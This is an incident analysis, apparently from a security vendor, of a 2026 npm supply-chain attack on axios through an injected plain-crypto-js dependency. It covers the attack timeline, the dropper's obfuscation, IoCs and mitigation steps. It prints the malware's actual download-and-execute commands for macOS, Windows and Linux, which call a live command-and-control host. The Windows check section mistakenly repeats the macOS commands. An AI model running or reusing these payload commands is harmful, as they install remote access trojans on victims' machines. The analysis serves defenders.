On March 31, 2026, an attacker compromised the npm credentials of jasonsaayman, the lead maintainer of axios. It is one of the most depended-on packages in the JavaScript ecosystem with over 400 million monthly downloads. Using this access, the attacker published two malicious versions — axios@1.14.1 and axios@0.30.4 —within 39 minutes of each other. Neither version contains a single line of malicious code inside axios itself. The only change was injecting plain-crypto-js@^4.2.1 as a runtime dependency, a package that is never imported anywhere in the axios source code. It exists solely to trigger a postinstall hook.
plain-crypto-js was published from a separate throwaway account (nrwise@proton.me) and impersonates the legitimate crypto-js library. Its postinstall hook executes an obfuscated dropper (setup.js) that contacts a server at http://sfrclak.com:8000/6202033 and delivers platform-specific RAT payloads: an AppleScript-launched binary on macOS, a VBScript/PowerShell chain on Windows, and a Python script on Linux. After execution, the dropper deletes itself and replaces its own package.json with a clean stub — making post-infection inspection of node_modules unreliable.
Both malicious versions were removed by npm within approximately three hours. The plain-crypto-js package was replaced with a 0.0.1-security placeholder. If you installed either compromised version, treat the system as fully compromised, rotate all credentials, and check for the host-based indicators of compromise listed below.
Affected packages
Last known-clean versions: axios@1.14.0 (1.x branch), axios@0.30.3 (0.x branch)
Attack timeline
The attack was staged over approximately 18 hours, with the malicious dependency seeded on npm before the axios releases to evade "brand-new package" alarms from security scanners.
Technical analysis
Infection chain
The attack relies on npm's dependency resolution and lifecycle scripts. When a developer runs npm install axios@1.14.1, npm resolves the dependency tree and installs plain-crypto-js@4.2.1 automatically. npm then executes the postinstall script, which launches the dropper — all before the developer executes a single line of their own code.
The only modification in both compromised axios versions is a single line added to package.json:
"dependencies": {
"follow-redirects": "^1.15.11",
"form-data": "^4.0.5",
"proxy-from-env": "^2.1.0",
"plain-crypto-js": "^4.2.1" // ← INJECTED — never imported anywhere in axios
}No other files differ between axios@1.14.0 and axios@1.14.1. The tarball sizes are nearly identical (630,302 bytes vs 630,301 bytes). A grep across all 86 files in the axios package confirms that plain-crypto-js is never require()'d or imported — a phantom dependency whose sole purpose is to trigger install hooks.

Maintainer account compromise
The attacker hijacked the jasonsaayman npm account, the primary maintainer of axios. The account's email was changed from to an attacker-controlled ProtonMail address.
A critical forensic signal distinguishes the malicious release from legitimate ones. Every legitimate axios 1.x release is published via GitHub Actions with npm's OIDC Trusted Publisher mechanism, cryptographically tying the publish to a verified CI/CD workflow. The malicious axios@1.14.1 was published manually with a stolen npm access token — no OIDC binding, no gitHead, and no corresponding commit or tag in the axios GitHub repository.
// axios@1.14.0 — LEGITIMATE (published via GitHub Actions OIDC)
"_npmUser": {
"name": "GitHub Actions",
"email": "npm-oidc-no-reply@github.com",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:9061ef30-..."
}
}
// axios@1.14.1 — MALICIOUS (published manually, no OIDC)
"_npmUser": {
"name": "jasonsaayman",
"email": "ifstap@proton.me"
// no trustedPublisher, no gitHead
}
The dropper: setup.js
The malicious payload lives in plain-crypto-js@4.2.1's setup.js — a single 4,209-byte minified file employing a two-layer obfuscation scheme.
Obfuscation technique: All sensitive strings are stored as encoded values in an array named stq[]. Two functions decode them at runtime:
- _trans_2(x, r) — Reverses the encoded string, replaces _ with =, base64-decodes the result, then passes the output through _trans_1.
- _trans_1(x, r) — XOR cipher. The key "OrDeR_7077" is parsed through JavaScript's Number(): alphabetic characters produce NaN, which in bitwise operations becomes 0. Only the digits 7, 0, 7, 7 in positions 6–9 survive, giving an effective key of [0,0,0,0,0,0,7,0,7,7]. Each character at position i is decoded as charCode XOR key[(7 × i × i) % 10] XOR 333.
Full static deobfuscation and recovered every string:
stq[0] → "child_process"
stq[1] → "os"
stq[2] → "fs"
stq[3] → "http://sfrclak.com:8000/" ← C2 base URL
stq[5] → "win32"
stq[6] → "darwin"
stq[13] → "package.json" ← deleted after execution
stq[14] → "package.md" ← clean stub renamed to package.json
stq[15] → ".exe"
stq[16] → ".ps1"
stq[17] → ".vbs"The entry point is _entry("6202033"), where 6202033 is the C2 URL path segment.

Malicious behavior: platform-specific RAT delivery
The dropper checks os.platform() and branches into one of three attack paths. Each platform sends a distinct POST body to the same C2 URL — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux). The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic look like benign npm registry communication in network logs.
macOS — AppleScript Dropper
On macOS, the dropper writes an AppleScript to the system temp directory and executes it silently via nohup osascript. The AppleScript contacts the C2 server, downloads a binary to /Library/Caches/com.apple.act.mond — a path designed to blend in with Apple's reverse-DNS daemon naming convention — makes it executable (chmod 770), and launches it in the background via /bin/zsh.
set {a, s, d} to {"", "http://sfrclak.com:8000/6202033", "/Library/Caches/com.apple.act.mond"}
try
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & \
" && chmod 770 " & d & " && /bin/zsh -c \"" & d & " " & s & " &\" &> /dev/null"
end try
do shell script "rm -rf <temp_script_path>"The only persistent artifact is /Library/Caches/com.apple.act.mond.
Windows — VBScript + PowerShell Chain
On Windows, the attack chain involves three stages:
- Locate powershell.exe via where powershell and copy it to %PROGRAMDATA%\wt.exe — disguised as Windows Terminal to provide a persistent copy of the interpreter outside its standard path.
- Write a VBScript (.vbs) to the temp directory that runs a fully hidden cmd.exe window (0, False suppresses all UI).
- The VBScript downloads a PowerShell script from the C2, executes it with -WindowStyle Hidden -ExecutionPolicy Bypass via the renamed wt.exe, then self-deletes.
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" " & _
"""http://sfrclak.com:8000/6202033"" > ""%TEMP%\6202033.ps1"" " & _
"& ""%PROGRAMDATA%\wt.exe"" -w hidden -ep bypass -file ""%TEMP%\6202033.ps1"" " & _
"""http://sfrclak.com:8000/6202033"" & del ""%TEMP%\6202033.ps1"" /f", 0, FalseThe persistent artifact is %PROGRAMDATA%\wt.exe. The VBScript and PowerShell files are transient and self-delete.
Linux — Python Dropper
On Linux and all other platforms, the dropper executes a direct shell pipeline via execSync:
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &The C2 returns a Python RAT script saved to /tmp/ld.py and executed in the background with nohup. The file remains on disk.
Self-cleanup: an anti-forensics tactic
After launching the platform payload, setup.js performs three forensic cleanup steps that make standard post-infection analysis unreliable:
- Deletes itself — fs.unlink(__filename) removes setup.js
- Deletes package.json — removes the file containing the "postinstall": "node setup.js" hook
- Renames package.md to package.json — a pre-staged clean stub (version 4.2.0, no postinstall, no setup.js reference) takes its place
The package.md file is shipped inside the npm package as a decoy. It is a valid package.json for version 4.2.0 with no scripts section. After the swap, any post-infection inspection of node_modules/plain-crypto-js/package.json shows a completely clean manifest with no indication anything malicious was installed. Running npm audit or manually reviewing the installed package directory will not reveal the compromise.

The directory's presence remains the key signal: node_modules/plain-crypto-js/ should not exist in any legitimate axios installation.
C2 infrastructure
The domain was purpose-built for this campaign. Registration was completed on NameCheap hours before the first malicious axios version was published. The C2 server is currently offline — the second-stage payloads could not be retrieved for analysis.
Runtime validation
Checking the attack's runtime behavior by installing axios@1.14.1 inside a GitHub Actions runner instrumented with their Harden-Runner agent. The process tree and network events confirm the dropper executes as designed:
- C2 contact (curl → sfrclak.com:8000) fired 1.1 seconds into the npm install — before npm had finished resolving all dependencies.
- A second C2 connection (nohup python3 /tmp/ld.py) occurred 36 seconds later in an entirely different workflow step, confirming the RAT persists as a detached background process orphaned to PID 1.
- Four levels of process indirection separate the original npm install from the C2 callback: npm → sh → node → sh → curl/nohup.
Mitigation
Detection and response
Based on the deobfuscated payload, here's what anyone who ran npm install with axios@1.14.1 or axios@0.30.4 should do:
Step 1: Confirm Compromise
# Check if plain-crypto-js was ever installed
ls node_modules/plain-crypto-js 2>/dev/null && echo ":warning: COMPROMISED" || echo "CLEAN"
# Check lockfile for the malicious dependency
grep -r "plain-crypto-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/nullStep 2: Check for Second-Stage Artifacts
The dropper downloaded and executed a second-stage payload. Check for these:
macOS
ls -la /Library/Caches/com.apple.act.mondps aux | grep com.apple.act.mondWindows (PowerShell)
ls -la /Library/Caches/com.apple.act.mondps aux | grep com.apple.act.mondLinux
ls -la /tmp/ld.pyps aux | grep ld.pyStep 3: If artifacts found (second-stage executed):
- Isolate the machine from the network immediately
- Kill malicious processes:
- macOS:
kill -9 $(pgrep -f com.apple.act.mond)and delete/Library/Caches/com.apple.act.mond - Windows: remove
%PROGRAMDATA%\wt.exe, check for scheduled tasks or persistence - Linux:
kill -9 $(pgrep -f ld.py)and delete/tmp/ld.py
- macOS:
- Rotate ALL credentials on the machine:
- Revoke and reissue all CI/CD tokens if this ran in a pipeline
- Remove
plain-crypto-jsfromnode_modulesand lockfiles - Pin axios to a known-good version (
1.14.0or0.30.3) - Audit network logs for connections to
142.11.206.73orsfrclak.com
Prevention
- Pin dependencies and commit lockfiles. Use npm ci (not npm install) for reproducible installs.
- Use --ignore-scripts in CI/CD as a standing policy: npm ci --ignore-scripts prevents postinstall hooks from executing during automated builds.
- Set a minimum release age: npm config set min-release-age 3 blocks packages published less than 3 days ago — this attack would have been caught during the cooldown window.
- Verify OIDC provenance. Legitimate axios releases are published via GitHub Actions with npm's Trusted Publisher mechanism. Releases lacking OIDC provenance metadata are a red flag.
- Monitor for phantom dependencies. A dependency that appears in package.json but is never imported or required anywhere in the codebase is a high-confidence indicator of a compromised release.
- Use npm overrides to prevent semver drift:
{
"overrides": { "axios": "1.14.0" },
"resolutions": { "axios": "1.14.0" }
}Indicators of Compromise (IoCs)
Safe version references: axios@1.14.0 (shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb), axios@0.30.3 (shasum: ab1be887a2d37dd9ebc219657704180faf2c4920)
Conclusion
This attack is a textbook example of dependency poisoning through maintainer account hijack. The attacker did not modify a single line of axios source code — they added a phantom dependency that exists only to execute its postinstall hook during npm install. The staged rollout (publishing a clean decoy version of plain-crypto-js before the malicious one) and the three-step anti-forensic cleanup (deleting setup.js, deleting package.json, swapping in a clean stub) demonstrate deliberate operational planning.
The blast radius is significant: axios has over 400 million monthly downloads and 174,000 direct dependents. Any project using semver ranges (^1.14.0 or ^0.30.3) that ran npm install during the roughly three-hour attack window would have pulled in the compromised version. The absence of OIDC provenance on the malicious releases is the clearest forensic differentiator — a signal that could be incorporated into automated CI/CD gates.
The incident underscores the importance of three complementary defenses: pinning dependencies to exact versions and committing lockfiles, disabling lifecycle scripts in CI/CD environments (--ignore-scripts), and adopting npm's minimum release age policy to create a safety buffer against freshly published malicious releases. If your systems installed either compromised version, treat it as a full host compromise and rotate all accessible credentials.
References
- StepSecurity (primary technical analysis, IOCs, remediation): axios Compromised on npm - Malicious Versions Drop Remote Access Trojan
- Hacker News (discussion): Active Supply Chain Attack on axios 1.14.1
- NVD — CVE-2026-25639 (separate DoS issue, not the RAT supply chain): NIST NVD - CVE-2026-25639
- GitLab Advisory Database — same CVE, axios npm package (DoS): CVE-2026-25639 | GitLab Advisory Database
What's running in your GitHub Actions?



What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:
.avif)
.jpg)








